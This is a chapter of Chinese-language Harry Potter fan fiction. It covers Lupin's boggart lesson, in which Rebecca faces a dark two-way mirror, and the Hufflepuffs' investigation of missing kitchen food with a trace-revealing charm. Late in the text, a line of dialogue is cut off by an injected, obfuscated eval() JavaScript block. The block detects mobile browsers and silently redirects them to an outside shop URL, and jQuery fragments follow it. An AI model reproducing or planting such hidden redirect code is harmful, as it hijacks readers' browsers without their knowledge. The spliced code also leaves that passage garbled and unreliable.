禁林边的那条黑狗在接下来的一个星期里没有再出现。在那之后丽贝卡去看过两次厄尼训练,每次都会特意往树林那边多看一会儿。
塞德里克也问过海格,得到的回答是牙牙最近一直好好待在小屋附近,而且海格并不知道学校周围还有谁养着一条同样大小的黑狗——这个答案没有解决多少问题,不过至少排除了牙牙。至于剩下的那些,丽贝卡没有什么办法——那条狗没有留下脚印,没有项圈,也不会因为她还想再看一眼,就很配合地重新站到禁林边上来。
于是这件事暂时被搁置了。不是她忘了,而是九月底的霍格沃茨根本不给人留下太多时间专门惦记一条不肯出现的狗——选修课开始真正布置作业以后,三年级学生很快发现,课表上多出来的三门课并不只是意味着多背三本书去教室;它们还意味着古代魔文每周多出一张让人怀疑石头上的古代巫师是否故意省略主语的羊皮纸,算术占卜要算一连串直到最后一行才终于出现整数的数字,至于保护神奇生物课,自从海格不再带鹰头马身有翼兽出来以后,就稳定地变成了给弗洛伯毛虫切莴苣。
相比之下,黑魔法防御术很快成了这一学期最受欢迎的课。卢平教授授课和去年那位教授完全不是一种路子——格兰芬多第一次上了他的课以后,关于博格特的故事就在学校里沸沸扬扬地传了好几天。
最开始,事情还只是“纳威把斯内普教授变成了穿祖母衣服的样子”;传到地下走廊时,已经变成“斯内普教授穿着一条绿色长裙在教员休息室里走了一圈”;等一个一年级学生来问汉娜这件事是不是真的时,那顶插着秃鹫标本的帽子甚至已经成了斯内普本人衣柜里的东西。
“当然不是真的。”厄尼在去上课的路上说,他显然对谣言发展到这个程度感到相当不满,“那只是博格特。”
“我知道,”汉娜说,“我已经告诉他了。”
“那他怎么说?”
“他问我斯内普教授平时到底戴什么帽子。”
贾斯汀在旁边笑了一声。厄尼张了张嘴,好像一时不能决定究竟该先纠正哪一部分;这时他们已经走到了教室门口,汉娜很明智地先推门进去了。
卢平教授这次也给他们准备了一只博格特,不过不是格兰芬多用过的那一只。教室前面摆着一个从地下储藏室搬来的旧木箱,四角包着发黑的铜皮,木板因为年代太久已经有些变形。箱盖每隔一会儿就会被里面的东西顶起来一点,露出一道缝隙,随即“砰”的一声重新落下;第一次响的时候,几个坐在前排的学生同时往后缩了缩,汉娜也被吓了一跳。第二次再响,她已经忍不住伸长脖子往里面看,尽管那道缝里除了一片漆黑什么也没有。
卢平教授站在讲桌旁,今天仍旧穿着那件看起来洗过太多次的灰袍子,袖口已经磨得发了白,不过脸色比开学那天好多了。他等大家坐定,朝那个不停作响的箱子看了一眼,说:“我想,你们大概已经听说了上一节课发生的事。”
教室里马上有人笑起来。
“看来是听说了。”卢平说,“我也听说了一些——昨天有个一年级学生非常认真地来问我,隆巴顿先生是不是把斯内普教授永久变成了一位老妇人。”
这次连厄尼也笑了。
“我已经向他保证没有,斯内普教授目前仍旧是斯内普教授。”
丽贝卡觉得,如果这句话传到斯内普本人那里,“目前”两个字恐怕不会让他特别高兴。
卢平没有花很长时间重复博格特的性质。他告诉他们,这种东西喜欢躲在黑暗、封闭的地方,衣柜、床底、老钟或者水槽下面都很合适;没有人知道一只独处的博格特究竟是什么样,因为只要有人站到它面前,它就会马上变成那个人最害怕的东西。说到这里,丽贝卡举起了手。
“教授,如果两个人同时站在它面前呢?”
“这是个好问题。”卢平把手搭在木箱盖上,里面的东西正好又撞了一下,“有时候它会犹豫,有时候会选其中一个。运气很好的时候,它也可能试图把两个人害怕的东西混在一起——而那通常对我们比较有利。我曾见过一只博格特想同时变成鼻涕虫和一具没脑袋的尸体。”
汉娜立刻问:“最后是什么样的?”
卢平想了想:“老实说,不太体面。”
教室里响起笑声。
真正困难的部分不是咒语。“滑稽滑稽”的发音并不复杂,卢平让全班念了一遍以后,大多数人第一次就念对了;麻烦在于必须在博格特扑到面前以前,想出一种能让它变得可笑的样子。
“这是不是说明,如果想不出来,咒语就没用?”丽贝卡又问。
“不会完全没用,但效果可能不怎么样。”
“那如果本来害怕的东西就很难变得好笑呢?”
“那就别一开始要求自己做到最好。”卢平说,“让它变小一点,穿上一件不合适的衣服,或者做一件它本来绝不会做的事情,都可以。笑话不是考试题,没有标准答案。”
丽贝卡对这一点还算满意,低头在羊皮纸上记了半句,旁边的厄尼也已经蘸好了墨水。卢平教授朝他们这边看过来,笑了一下。
“我想这句可以先不记,麦克米兰先生。至少等博格特出来以后再记。”
厄尼的羽毛笔停在纸上:“好的,教授。”
丽贝卡把自己的也放下了。
这时卢平让他们都想一想自己最害怕的是什么。丽贝卡本来觉得这不至于需要太久;可真正认真去想,事情却没有她预料得那么简单。去年密室里的东西一个接一个从脑子里冒了出来——蛇怪鳞片贴着石地拖过去的声音,医疗翼里躺着不动的贾斯汀,还有哈利从她手里那面镜子里突然消失的那一刻;紧接着,她又想起开学那天火车上骤然变冷的车厢。
她不知道博格特会选哪一个,这件事本身就让人不大舒服。
“想到了吗?”厄尼在旁边压低声音问。
“实际上想到了好几个。”
“那你准备怎么处理?”
“还没想好——等它出来以后再说。”
厄尼皱起眉。丽贝卡认识他这么久,已经知道这个表情通常意味着他认为“等事情真正发生以后再决定”算不上一项特别可靠的计划。
“要是出来的是你最难处理的那个呢?”
“那只能算我倒霉了。”丽贝卡耸耸肩。
厄尼显然还想说什么,前面的木箱却忽然重重撞了一下地面,卢平已经叫大家站起来排队。他们只好把这件事留给博格特自己决定。
最先上去的几个学生都很顺利。一个拉文克劳男生面对的是一只绿得发亮、足有小猪那么大的蛞蝓,他的咒语让它一下长出四条细得惊人的腿,穿着芭蕾舞鞋在地板上转了两圈;苏珊面对的是一只大胡蜂,翅膀被变成了两把小纸扇,它拼命扑腾,却只能在地上慢慢滚。轮到汉娜时,前一秒还在打转的胡蜂“啪”地消失,一棵巨大的曼德拉草从箱子旁边冒了出来。
它比汉娜高出一大截,皱巴巴的根部扭成人形,嘴已经张得很大。丽贝卡下意识缩了缩肩膀,等了半秒,才发现什么也没有听见。
曼德拉草没有叫声。
汉娜也意识到了,她本来已经白下去的脸愣了一下,随即举起魔杖:“滑稽滑稽!”
曼德拉草头顶立刻多出了一顶过小的粉红色婴儿帽,嘴里也塞进了一只奶嘴。它仍旧拼命张着嘴,圆滚滚的脑袋因此用力一抖一抖,却发不出半点声音。汉娜自己第一个笑起来,后面的人也跟着笑了。
“很好,艾博小姐,”卢平说,“尤其是你先发现它没有真正发出叫声。记住,博格特看起来像你害怕的东西,不等于它拥有那东西所有的本事。”
汉娜回来时脸还是红的,却很高兴。她刚站回苏珊旁边,贾斯汀已经被叫了上去。
婴儿帽和曼德拉草一下消失。
一条蛇出现在地板上。
它不是蛇怪,甚至远没有蛇怪那么大,可仍然大得足以让教室里刚才的笑声戛然而止。黑亮的身体一圈圈盘在木箱旁边,脑袋慢慢抬起来,正对着贾斯汀。
丽贝卡一眼就看见贾斯汀的手握紧了。他没有后退,也没有把魔杖放下,只是站在那里,像是忽然忘了接下来该做什么。
卢平没有催。
那条蛇吐了一下信子,身体往前滑了半尺。
“芬列里先生,”卢平平静地说,“先不用急着念咒,你觉得它哪里最糟?”
贾斯汀盯着它看了一会儿:“太大了。”
“那就从大小开始。”
“只要让它变小?”
“如果这样比较容易,就先这样。”
贾斯汀吸了口气,再次举起魔杖。蛇又向前滑了一点。
“滑稽滑稽!”
一声脆响以后,那条足有桌子那么高的黑蛇骤然缩短,身体中间还莫名其妙打了两个结,细长的一截从其中一头垂下来,看着很像一条被人系坏了又不肯解开的黑领带。教室里重新笑起来,贾斯汀自己盯着它看了两秒,也低头笑了一声。
“不错。”卢平说道,“不过如果有人明天真的打着一条这样的领带来上课,我不负责解释。”
贾斯汀走回来以后坐下,把自己的领带往下扯松了一点。汉娜问他:“你没事吧?”
“没事。”他又看了一眼自己的领带,“不过我认为这个颜色突然不是特别讨人喜欢了。”
苏珊忍着笑把他的课本推回去:“明天换一条。”
“我只有这一条校服领带。”
“那就只能勇敢一点了。”
贾斯汀点点头:“令人遗憾。”
他的语气和平时差不多,这让丽贝卡放下心来。她还没来得及再想,卢平已经叫了她的名字。
她走到教室前面时,才发现自己的心跳比刚才快得多。
那条打成结的蛇“啪”地消失了。
原地出现了一面镜子。
不大,银色的框,边缘有一道她非常熟悉的裂纹。镜面一片漆黑,既没有人影,也没有声音。
丽贝卡马上认出了它。
她知道这不是真正的双向镜。真正的镜子现在还在埃德温的工作室里,一半拆得只剩镜框,碎掉的玻璃被整整齐齐排在黑绒布上;埃德温已经试过三种修理咒,还和大卫花了整个下午争论魔法究竟附着在镜面上,还是附着在两面镜子之间那种谁也看不见的联系上。
可眼前这面镜子仍旧让丽贝卡想起了去年——那时候镜面也是这样,一点点暗下去,直到最后什么都没有了。她叫了哈利好几次,没有回答;再后来,不管她把镜子翻过来还是重新念咒,里面都只剩下一片浓重的漆黑——现在她明明知道站在面前的是博格特,那种突然与另一边断开连接的感觉却还是让她心脏一揪,连手里的魔杖都不知不觉握紧了一些。
“萨顿小姐?”
卢平教授在旁边叫了她一声。他的声音不高,甚至没有催促的意思,却正好把丽贝卡从那片黑色的镜面里拉了回来。
她眨了眨眼,重新举起魔杖——问题是,怎么才能把一面完全没有反应的镜子变得可笑?让它长腿跑掉未免太普通,摔碎又一点也不好笑。丽贝卡脑子里乱七八糟地闪过几个念头,最后忽然想到:如果这面镜子真的重新亮起来,却让她看见一个根本不可能出现的哈利,那至少能证明它已经不值得害怕了。
“滑稽滑稽!”
魔杖尖迸出一道光,正中镜框。漆黑的镜面猛烈地晃了一下,像有人从另一头掀开了一层黑布,紧接着,一个人影猛地出现在里面。
丽贝卡愣住了。
那的确是哈利——至少脸是哈利的。圆眼镜好好架在鼻梁上,绿色眼睛也没有问题;真正有问题的是他的头发。那头从丽贝卡认识他以来就没有认真服从过任何梳子的黑发,此刻竟整整齐齐地分向两边,每一根都服帖得不可思议,额前还梳出了一条笔直得像用尺子量过的发缝。他的领带端端正正,衬衫扣到最上面一颗,连袍领都平得找不出一道褶子。
镜子里的哈利似乎也意识到了情况不对。他抬手碰了碰自己的头发,脸上很快露出一种近乎惊恐的神情;可他刚想把头发揉乱,镜框两边突然伸出两只细长的银手,一只拿梳子,一只拿发蜡,立刻把他重新按了回去。
这一次丽贝卡没忍住,先笑出了声。
银手显然认为自己的工作还没有完成。哈利才把眼镜往上推了一下,其中一只手便拿出一块小布,在镜片上飞快擦了两遍;另一只甚至不知从哪里摸出一把尺子,认真量起了他的领带是不是正好垂在衬衫中央。镜子里的哈利满脸愤怒地躲来躲去,却始终摆脱不了它们。
“好了,”卢平教授含着笑说道,“我想这面镜子现在已经热心得有些过头了。”
教室里的笑声更响了。丽贝卡也笑得魔杖都往下落了一点,因为她忽然想起,如果真正的哈利看见这一幕,第一件事大概就是把镜子翻过去扣在桌面上。
博格特在笑声中晃了起来。那双银手最后还顽强地替哈利把一根刚刚翘起来的头发按平,随后镜面“啪”地一闪,连同那个整齐得令人不安的哈利一起消失了。
九月底就这样在课程和训练里过去了。黑魔法防御术接下来开始学红帽子和卡巴,算术占卜的数字越来越多,古代魔文的句子却仿佛越来越不愿意把意思说清楚;至于保护神奇生物课,弗洛伯毛虫仍旧没有任何要改变自己的迹象。海格给它们换过一次饲料,从莴苣变成卷心菜,贾斯汀知道以后说“那生活至少丰富了一点”,海格没听出他究竟是不是认真的,很高兴地赞同了。
到了十月,天气开始真正凉下来。最初只是早晨的窗玻璃上多了一层薄雾,后来便下起雨来,一阵接着一阵,仿佛有人忘了把学校上空的一只水龙头关紧。赫奇帕奇公共休息室那些接近地面的圆窗总被雨水冲得模模糊糊,壁炉从午后便烧得很旺;扶手椅上搭着湿斗篷,门口时常横着几双沾泥的靴子,还有人试图把袜子直接挂到壁炉上方烤,结果第二天布告栏上就多了一张斯普劳特教授亲笔写的通知:
请不要把任何衣物悬挂在公共壁炉正上方。
通知下面不知是谁添了一句:
尤其是袜子。
再过一天,又多了一行:
真的有人干过这种事?
丽贝卡早晨经过时,看见厄尼站在公告前,手里还拿着刚收拾好的魁地奇护腕。他读完最后那行,顺手拿起拴在旁边的羽毛笔,在下面补了一句:
是否有人做过,并不影响这项规定有必要。
“你写的?”汉娜从后面凑过来。
厄尼把羽毛笔系回去,“是。”
汉娜看了看他,又看了看通知:“你现在每星期训练三次,居然还有时间管别人的袜子。”
“我没有管袜子。”
“那你刚才在干什么?”
“我只是指出——”
“走吧,”苏珊已经背好书包,在旁边说,“再不走要迟到了。”
厄尼只好把那项显然还没解释完的区别留在布告栏上,跟着他们出了公共休息室。
魁地奇确实没有把厄尼变成另一个人。它只是逐渐把他原本安排得很规整的一星期挤得没那么整齐:有时候晚饭刚吃完就得去球场,有时候训练回来时公共休息室已经只剩几个人,桌上的墨水也快冻凉了。刚开始那几周,他总想把训练前后的事情都安排得和课程一样清楚,后来才慢慢接受,魁地奇显然不太肯配合这种打算——风什么时候变大,雨什么时候下来,鬼飞球会不会突然滚进泥里,这些都不看课表;塞德里克偶尔也会临时多练一轮,理由通常只是“刚才那次配合还可以再来一遍”。
真正适应以后,厄尼训练回来时便不再总带着一种事情还没做完的神情。他会先把扫帚靠好,把护腕和手套摊在壁炉边晾干,再去找自己的书;碰上下雨,头发和袍子难免都比平时狼狈一些,他也已经懒得立刻整理。塞德里克训练时也不喜欢把每一次失误讲得很严重,通常指出一句位置或配合上的问题,很快便让下一轮继续;久而久之,厄尼也不再非得在离开球场以前把每一个漏掉的球重新复盘一遍。至少有些事情,他已经学会先让它们留到下一次训练。
丽贝卡仍旧会带书去球场。只是十月的风很大,书页总被吹得乱翻,而且不知道为什么,一页算术占卜有时候能看二十分钟。
她把这个问题归因于天气。
厨房里依旧会偶尔少点吃的,本来也没人太在意,只是这样的事接连发生了几次,才渐渐让人留心起来。
自从那天晚上厄尼训练回来,他们第一次听说一只小圆面包莫名其妙消失以后,接下来十来天里又发生过两三次类似的事情。有一次是香肠少了一节,有一次是一小角奶酪不翼而飞,数量都少得不值得专门拿出来提。家养小精灵似乎也不在意——学生原本就会来厨房找吃的,猫偶尔能从缝隙钻进来觅食,皮皮鬼虽然根本不需要吃饭,却很热衷于把食物搬到完全不合适的地方。去年有一只奶油蛋糕失踪了两天,最后被发现贴在厨房天花板上,而且每当小精灵拿梯子靠近,它便自己慢吞吞地往另一边滑。
和这种事情相比,少一小块奶酪实在称不上灾难。
所以汉娜有天晚上从厨房回来,手里捧着热巧克力,顺口说“今天又少了一点奶酪”时,贾斯汀甚至没有把书放下。
“希望它一切都好。”
汉娜在沙发上坐下来:“我不是在担心奶酪。”
“那就好。”
“奇奇说最近已经有好几次了。”
丽贝卡正在做算术占卜,闻言停了一下:“以前也会这样吗?”
汉娜抬头看她:“不知道,我没问。”
“你怎么不问?”丽贝卡很困惑。
“贝卡,因为我只是去拿热巧克力,不是试图侦破奶酪失窃案。”
这个理由也很充分。
最后还是苏珊说,下次谁去厨房的时候顺便问一句就行。第二天午饭以后,他们五个人恰好都在一起,于是干脆绕了一趟。奇奇对这个问题表现得十分紧张,丽贝卡刚说完“最近好像偶尔会少东西”,它的大耳朵就垂了下来,连连保证厨房没有丢东西、霍格沃茨也绝不会有人吃不饱;苏珊花了一会儿解释没有人怀疑它们工作出了问题,汉娜又补充说厨房做的馅饼很好吃,虽然这句话和他们的问题并没有直接关系,却明显使奇奇高兴了一点。
最后另一只年纪大些的小精灵从一摞银盘后面探出头,说:“去年也有呀。”
丽贝卡马上转过去:“去年也少东西?”
“会的,小姐。以前也有过,去年有,前年也有,只是每次都少得不多。”
“都是面包和奶酪吗?”
小精灵歪着脑袋想了一阵:“面包、奶酪、香肠……有时候是馅饼边,总之都是很小的东西。”
厄尼原本一直没说话,这时才问:“最近少的东西一般放在哪儿?”
奇奇用尖锐的声音说:“都是下面的,麦克米兰小少爷。放在下面架子上的会少,高高放着的那些一直都好好的。”
这至少比“偶尔会少一点东西”具体了一些。可再往下问,就没有人说得清了——往年是不是也从低架子上少,不记得;一般在什么时间少,不知道;有没有见过谁拿了,也没有——厨房每天从清早忙到深夜,东西不断被搬上搬下,等到有人注意到一角奶酪不见了,已经是很久以后的事了。
于是几个人的调查只好暂时止步于此。
第二天下午,丽贝卡和赫敏照旧待在图书馆。窗外的天阴得很早,十月的风不断把树梢吹向同一个方向,偶尔有几片枯叶被卷到高处,在玻璃外贴上一瞬,又很快被吹走。她们坐的那张桌子离窗户不远,桌角摆着一盏黄铜阅读灯,灯罩里的火苗很小,却亮得稳定;每当有人把书往旁边推,它便会自己偏过去一点,好像很清楚哪里才真正需要光。下午大部分时候,两个人都各做各的事,只有需要查同一本词典时,才把书从桌子中央拖过去。
丽贝卡把一段古代魔文的注释抄进笔记里,等墨迹稍微干了一点,忽然想起昨天从厨房回来以后还没来得及和赫敏提的事:“对了,”她仍旧低着头,一边把羽毛笔尖在墨水瓶口轻轻刮了刮,“厨房最近又少东西了。”
赫敏起初只含糊地应了一声。她正在对照两本书里的脚注,其中一本显然不太愿意被老老实实摊开,赫敏一松手,厚重的书页便飞快合起来,她只好用胳膊压着。过了一会儿,她才问:“还是上次说的面包?”
“有面包,也有奶酪,不过每次都不多。”丽贝卡把写完的一页翻过去,“我们昨天去问了一下。以前也发生过类似的事,去年、前年都有,所以现在还不能说是这一学期才开始的。不过最近几次有一点一样——少的都是下面几层架子上的东西。”
赫敏这才真正抬起头:“丢的东西本来都放在低处?”
“最近几次是——以前是不是这样,小精灵记不清了。”
赫敏没有马上说话。她把压在胳膊下面的书松开,那本书立刻啪的一声合上;她又重新翻到刚才那一页,把书签夹进去,显然暂时不准备再看了。“那倒不像学生随手拿的。”她想了想,又补了一句,“至少不太像,学生进厨房找吃的,没什么理由非挑下面的。”
“除非是个很矮的学生。”
赫敏看了她一眼。
丽贝卡又想了一下:“或者一个不愿意伸手拿高处东西的学生。”
“那范围就大多了。”
两个人都没真笑出声,不过黄铜灯恰好在这时候又往赫敏那边偏了一点,丽贝卡只好把自己的羊皮纸往光底下挪。赫敏重新看了一眼桌上的笔记,问道:“小精灵没有见过什么痕迹吗?脚印也没有?”
“没有。它们通常是后来才发现少了东西,等注意到的时候,附近已经不知道收拾过几遍了。”
“那倒也是——”赫敏有点无奈:“哪怕是昨晚有一头巨怪坐在那儿吃过面包,等到早上,它留下的脚印大概也早被擦干净了。”
“巨怪应该不会只拿一块小圆面包。”
“我只是举个例子。”
“而且它大概也不必只拿低架子上的。”
赫敏看着她。
丽贝卡停了一下:“好吧,这个例子不重要。”
赫敏嘴角动了一下,低头把羽毛笔摆回原处。话题似乎到这里就该结束了——没有人看见,没有留下痕迹,没有任何线索。丽贝卡也重新拿起羽毛笔,刚写了半行,赫敏忽然说道:“其实也不一定一点办法都没有。”
丽贝卡抬起头。
“有一种显痕用的家用魔咒。”赫敏说得有些慢,显然正在确认自己的记忆,“我暑假的时候在一本书里见过。它本来不是拿来调查谁偷了东西的,主要是找丢掉的小东西,或者看看家具挪动以后在地板上留下的痕迹——它能把一些已经很浅、肉眼不容易看清的印子重新显现出来。”
丽贝卡这回把羽毛笔彻底放下了:“它显示的是痕迹,还是以前发生过的事情?”
“痕迹。”赫敏马上说道,“当然不是以前发生过的事情,要不然魔法部审案子可就省事多了。”
这一点确实很有说服力,丽贝卡把椅子往前挪了一点:“什么样的痕迹?”
“鞋印、刮痕,还有被碰过的地方都能显示出来,有时候也看得见灰尘。不过得看是什么材质的地面,痕迹越新越清楚。要是后来又有人从上面走过,或者已经用清洁咒收拾过,那就不一定还能分得出来了。”赫敏说到这里,皱了皱眉,“厨房每天都打扫,这一点比较麻烦。”
“那如果先把一块地方清理干净,从那以后暂时不动呢?”
“理论上可行,不过最重要的问题是得说服家养小精灵——”赫敏顿了顿,“老实说,这大概跟让麦格教授平白无故准你晚一天交变形术论文差不多。”
“不能直接说‘今晚别打扫这里’。”丽贝卡说道,“可以先请它们把那一块彻底清理一次,然后从那个时候开始算。这样第二天如果真有东西经过,也不会和已有的痕迹混在一起。”
“可以让厄尼去说。”丽贝卡想了想,补充,“他大概能把这件事解释得像学校刚定下来的一项新规定。”
“我想也是。”
两个人对视了一眼,笑了起来。
笑过以后,赫敏把面前那本古代魔文参考书合上,开始回想自己究竟是在哪里见过那个咒语。丽贝卡也顺手把散在桌上的羊皮纸拢到一边,给她腾出翻书的位置。
“哪一本?”
“名字不记得了,不过我记得在家政魔咒那边。”
丽贝卡跟着她站起来,走出两步以后才反应过来:“图书馆还有专门放家政魔咒的书架?”
赫敏回头看了她一眼,似乎没想到这件事还需要解释:“当然有——巫师家里总得有人洗衣服、擦窗子、收拾烧糊的锅吧?总不能每次锅底黑了,都先去查一篇魔法理论论文。”
丽贝卡想了想,觉得很有道理。
“我以前怎么没见过?”
“因为你每次进图书馆,不是在算术占卜那边,就是在古代魔文那边。”
“我以为你也一样。”
赫敏顿了一下。
“所以我才说,我是偶然看到的。”
那地方比丽贝卡原先想象中大得多,而且书名越往里越具体:《家庭清洁咒语一百例》《魔法织物护理》《锅、壶、银器以及其他常见厨房麻烦》,旁边整整半层都在谈地毯,其中一本甚至专门讨论“具有移动倾向的长绒地毯”。丽贝卡站在那里看了一会儿,忽然觉得,比起这些会自己挪地方的魔法地毯,麻瓜世界那些老老实实待在原处的地毯其实也挺让人省心。
最上面一层有一本书尤其醒目。封面上,一把扫帚正追着一个穿睡袍的男巫满屋子跑;男巫每次逃出封面右边,便会立刻从左边重新出现,扫帚则始终离他的后脑勺只差几英寸。书名叫《当你的清扫工具开始反抗》。
丽贝卡把那本书抽出来一点,才刚看清封面,便在赫敏明显不赞成的目光中又把它塞了回去。
最后还是赫敏先找到了。一本灰绿色的旧书夹在《清洁魔法中的常见反作用》和一本厚得惊人的《家庭银器保养全书》之间,烫金书名已经磨掉不少,只能勉强辨出《遗失物、污迹及其他家庭小麻烦》。显痕咒在第七章,前面一节教人如何寻找掉进地毯里的小件首饰,后一节则讨论家具在主人不在场时自行移动应该怎样处理。丽贝卡多看了一眼,赫敏提醒她,她们现在不是来研究家具的,语气和刚才提醒她不要看扫帚时一模一样。
她们在图书馆外面的石廊上试了几遍,确定咒语确实能用以后便没有再耽搁。剩下的麻烦,只在于怎么让那一小地砖被安安稳稳留到第二天早晨;这件事在晚上被丽贝卡顺口带回公共休息室,最后很自然地落到了厄尼头上——主要因为所有人都觉得,同样一句“今晚请先别擦这里”,由厄尼说出来,大概会听起来更像某项经过仔细考虑、而且绝不会损害厨房清洁标准的临时安排。
于是第二天晚饭以后,五个人一起去了厨房。
这时候礼堂里的晚餐刚刚结束,厨房却远没有安静下来。成摞的银盘正从长桌上飞向水槽,几口铜锅在热水里哐啷作响,墙边一排湿抹布自己拧干以后,啪地展开,逐一飞上晾绳;空气里还留着烤面包、肉汁和糖浆馅饼混在一起的暖香。米比一看见他们,立刻认为五名赫奇帕奇同时在饭后来访必定意味着晚餐出了某种严重的问题,已经兴冲冲地朝一盘馅饼伸出了手。
“我们不是来吃东西的。”苏珊及时制止了它。
米比的动作停了一下,显得颇为困惑。
奇奇也从一摞比它自己还高的银盘后面走了过来。丽贝卡朝低架旁边那几块石板看了一眼,又看向厄尼。
真正麻烦的部分现在才开始。
几分钟后,奇奇听完丽贝卡的话,两只大耳朵立刻垂了下来——那副神情倒不像有人请它帮一个忙,更像是刚刚有人通知它,今年圣诞节厨房不用准备晚宴,银器也不必擦了,大家随便找点冷面包吃就行——它又低头看了一眼那几块石板,似乎仍抱着一线希望,觉得丽贝卡也许只是措辞不够准确。
“萨顿小姐是说,今天晚上这里打扫过以后,一直到明天早晨,都不再清理?”
“只要低架旁边这一点——”
“第一遍照常。”厄尼几乎立刻接过了话茬。他大概早就料到这里会出问题,语气很自然,仿佛他们谈的根本不是“不许小精灵擦地”,而是一项稍微复杂了一点的清洁安排,“今晚该做的事情全部照做,地面、石缝和架子下面都先彻底清理,最好不要留下现在已经有的脚印或者碎屑。只是等这一遍完成以后,到我们明天早晨过来验收以前,暂时不要做第二次清洁。看完以后当然可以马上恢复正常。”
奇奇抬起头:“先全部弄干净?”
“当然。”
“而且明天早晨马上可以再擦?”
“对,我们只需要几分钟。”
奇奇想了一会儿,耳朵慢慢重新竖了起来:“那奇奇可以做到。”
事情于是以一种出乎丽贝卡预料的速度谈妥了。米比又跑过来确认面包、奶酪和香肠仍旧放在原来的地方,顺便提议是不是应该再加一块苹果馅饼;丽贝卡问平时那层架子有没有馅饼,米比只好承认没有,神色还有些遗憾。十分钟以后,低架旁边那几块石板已经被三只小精灵轮流收拾得干干净净,连缝隙里的面粉末都消失了。米比一度想把架子抬起来再擦一遍,被奇奇严厉制止——架子平时不会在晚上移动,既然麦克米兰少爷说“所有东西照常”,今晚当然也不能动。
“很好。”厄尼说,“就是这样。”
贾斯汀在后面看了看他,又看了看奇奇,压低声音对苏珊说:“你猜怎么着,我觉得我们已经不是这项工作的主要负责人了。”
苏珊也看了一眼正在和厄尼确认第二天最晚检查时间的奇奇:“刚才就不是了。”
最后验收时间定在六点半以前。再晚厨房便要正式开始准备早餐,小精灵们不可能端着煎锅、茶壶和面包篮,还一直绕开一块明明就在眼前、却偏偏不能擦也不能踩的地面——厄尼认为这个要求完全合理;汉娜也没有反对,只是在回公共休息室的路上安静了很久,最后问丽贝卡:“那只东西最好今晚就来,对吧?”
“当然。”
“很好。”汉娜说,“因为我刚才忽然想到,如果它一星期只来一次,我们可能要连续七天六点起床——到了那时候,我不确定我的求知欲还会剩下多少。”
贾斯汀走在她后面:“别这么悲观,也可能两个星期来一次。”
汉娜回头瞪他。
第一天早晨,他们倒的确发现了脚印。
五个人刚蹲下来,丽贝卡甚至还没有来得及把显痕咒照到墙边,一串十分清楚的鞋印就从厨房入口一路亮了出来,经过长桌,停在低架前面,又在原地转了半圈。汉娜顿时清醒得像刚喝完一大杯浓茶,连声音都压低了:“梅林啊,真有东西来过。”
“除非是一只穿六号半鞋的老鼠。”贾斯汀说。
汉娜低头重新看了看,显然也觉得这个可能性不大——最后得知脚印的主人果然只是一个来吃夜宵的六年级赫奇帕奇。
第二天早晨,地上终于出现了点新东西。
没有人的鞋印,低架旁却出现了一串很小的痕迹,每隔差不多相同的距离就有一道短短的印子,一直延伸到架子后面。汉娜蹲在那里看了半天,觉得这次至少不像学生;厄尼则指出步距过于整齐,而且看不出明显的前后脚区别。丽贝卡还没来得及回答,贾斯汀已经绕到另一边,伸手从架子下面摸出了一把长柄木勺。
木勺落到地上以后,柄端立刻撑住石板,啪嗒、啪嗒地往前走了两步。
几个人一起看着它。
“哦。”汉娜说。
米比跑过来,很不好意思地把木勺捡起来,解释厨房里有几把搅拌勺在用完以后会自己回抽屉,这一把一向不大认路。木勺被抓起来以后仍旧在它手里扭了两下,显然认为问题并不完全出在自己身上。
贾斯汀目送米比把它带走:“伙计们,我不想显得要求太高,不过如果可以,我希望我们明天找到的东西至少是活的。”
厄尼皱眉:“实际上,魔法物品是不是‘活的’其实——”
“厄尼。”汉娜把额头靠在低架边上,“求你了,现在才六点二十分。”
厄尼看了她一会儿,最后很体谅地没有继续讨论魔法物品的生命定义。
第三天早晨,五个人下楼时已经没有前两天那么兴奋了。汉娜一边走一边系长袍扣子,走到地下走廊才发现最上面两颗错开了一格,只好又重新来;贾斯汀手里甚至带着一本麻瓜研究课本,说如果今天的嫌疑人仍旧是一件餐具,他至少可以趁早把昨天剩下的半页读完。厄尼对此颇不赞成,因为地下走廊光线不好,贾斯汀却指出,他原本也没准备边走边读,只是想让这本书知道自己没有彻底忘记它。
“书不知道。”厄尼说。
“这正是我们关系里比较轻松的地方。”
他们刚转过最后一个弯,米比就从厨房门口跑了出来,差点撞到最前面的苏珊。
“少了,小姐!昨晚真的少了东西!”
这一次是一只小圆面包,奶酪也少了一角。
汉娜不再去管她的扣子了:“你确定?”
米比用力点头:“奇奇数过两遍,米比又数了一遍。”
厄尼本来似乎想说什么,汉娜立刻抬起一根手指:“不许问它们是不是可能三遍都数错
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17877372|212317||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了。”
“我没有准备这么问。”
“你最好没有。”
“我只是想问,昨晚有没有别人来过。”
汉娜顿了一下,把手放下:“哦,那你问吧。”
奇奇确认昨晚这一区域清理完以后,没有学生再进过厨房。低架上的东西也完全按照平常的位置摆放,直到今天早晨米比清点时才发现少了面包和奶酪——丽贝卡听完没有马上说话,只是蹲下来抽出魔杖。炉子那边已经开始生火,几只铜壶陆续冒出白汽;一排盘子自己从橱柜里飞出来,在长桌上轻轻落好。只有低架旁边这一小片地方仍旧没人碰,奇奇站在附近,手里已经拿着一块拧好的抹布,显然只等他们宣布检查结束。
显痕咒落下去以后,淡蓝色的痕迹一点点从石板上浮了出来。昨晚小精灵清理时留下的脚印很好认,一张矮凳也被拖动过半尺;除此之外,外面几乎没有什么东西。丽贝卡原本以为还要再往前找,魔杖移到低架最里面时,靠墙那道狭窄的缝边却慢慢亮起了几枚小小的印子。
“这里。”
这一次几个人都没急着猜。前两天已经证明,在霍格沃茨厨房里,看起来像秘密线索的东西既可能是饿了的六年级学生,也可能是一把方向感很差的木勺。
丽贝卡把光往前引了引。那串足迹从墙缝里出来,贴着木架边缘绕过一只架脚,一直延伸到放面包的位置;前脚小,后脚稍长,中间还偶尔有一道细细的拖痕。
“现在我可以说是老鼠了吗?”汉娜问。
